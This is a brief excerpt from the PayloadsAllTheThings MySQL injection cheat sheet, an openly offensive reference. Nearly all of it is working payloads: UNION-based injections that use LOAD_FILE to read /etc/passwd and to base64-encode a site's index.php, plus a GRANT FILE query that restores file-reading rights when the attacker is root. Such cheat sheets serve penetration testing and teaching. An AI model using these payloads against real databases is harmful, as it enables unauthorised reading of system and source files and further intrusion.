Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`
UNION ALL SELECT LOAD_FILE('/etc/passwd') --
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query
GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.